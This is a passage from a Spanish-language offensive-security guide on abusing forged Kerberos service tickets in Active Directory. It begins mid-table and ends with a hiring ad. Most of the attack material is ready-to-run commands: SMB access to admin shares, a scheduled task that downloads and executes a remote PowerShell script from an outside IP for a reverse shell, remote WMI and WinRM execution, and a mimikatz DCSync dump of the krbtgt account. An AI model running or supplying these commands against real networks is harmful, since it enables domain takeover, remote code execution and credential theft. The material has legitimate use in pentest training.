HOST
RPCSS
| | PowerShell Remoting |HOST
HTTP
Dependiendo del SO también:
WSMAN
RPCSS
| | WinRM |HOST
HTTP
En algunas ocasiones puedes simplemente pedir: WINRM
| | Tareas Programadas | HOST | | Compartición de Archivos de Windows, también psexec | CIFS | | Operaciones LDAP, incluido DCSync | LDAP | | Herramientas de Administración Remota de Servidores Windows |RPCSS
LDAP
CIFS
| | Golden Tickets | krbtgt | Usando **Rubeus** puedes **pedir todos** estos tickets usando el parámetro: * `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm` ## Abusando de los Service tickets En los siguientes ejemplos imaginemos que el ticket se obtiene suplantando la cuenta del administrador. ### CIFS Con este ticket podrás acceder a las carpetas `C$` y `ADMIN$` a través de **SMB** (si están expuestas) y copiar archivos a una parte del sistema de archivos remoto simplemente haciendo algo como: ```bash dir \\vulnerable.computer\C$ dir \\vulnerable.computer\ADMIN$ copy afile.txt \\vulnerable.computer\C$\Windows\Temp ``` También podrás obtener una shell dentro del host o ejecutar comandos arbitrarios usando **psexec**: {% content-ref url="../ntlm/psexec-and-winexec.md" %} [psexec-and-winexec.md](../ntlm/psexec-and-winexec.md) {% endcontent-ref %} ### HOST Con este permiso puedes generar tareas programadas en computadoras remotas y ejecutar comandos arbitrarios: ```bash #Check you have permissions to use schtasks over a remote server schtasks /S some.vuln.pc #Create scheduled task, first for exe execution, second for powershell reverse shell download schtasks /create /S some.vuln.pc /SC weekly /RU "NT Authority\System" /TN "SomeTaskName" /TR "C:\path\to\executable.exe" schtasks /create /S some.vuln.pc /SC Weekly /RU "NT Authority\SYSTEM" /TN "SomeTaskName" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'" #Check it was successfully created schtasks /query /S some.vuln.pc #Run created schtask now schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName" ``` ### HOST + RPCSS Con estos tickets puedes **ejecutar WMI en el sistema víctima**: ```bash #Check you have enough privileges Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local #Execute code Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlist "$RunCommand" #You can also use wmic wmic remote.computer.local list full /format:list ``` Encuentra **más información sobre wmiexec** en la siguiente página: {% content-ref url="../ntlm/wmicexec.md" %} [wmicexec.md](../ntlm/wmicexec.md) {% endcontent-ref %} ### HOST + WSMAN (WINRM) Con acceso winrm sobre un ordenador puedes **acceder a él** e incluso obtener un PowerShell: ```bash New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC ``` Consulte la siguiente página para aprender **más formas de conectarse con un host remoto usando winrm**: {% content-ref url="../ntlm/winrm.md" %} [winrm.md](../ntlm/winrm.md) {% endcontent-ref %} {% hint style="warning" %} Tenga en cuenta que **winrm debe estar activo y escuchando** en la computadora remota para acceder a ella. {% endhint %} ### LDAP Con este privilegio, puede volcar la base de datos del DC utilizando **DCSync**: ``` mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt ``` **Aprende más sobre DCSync** en la siguiente página: {% content-ref url="dcsync.md" %} [dcsync.md](dcsync.md) {% endcontent-ref %} (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png)
Si estás interesado en una **carrera en hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}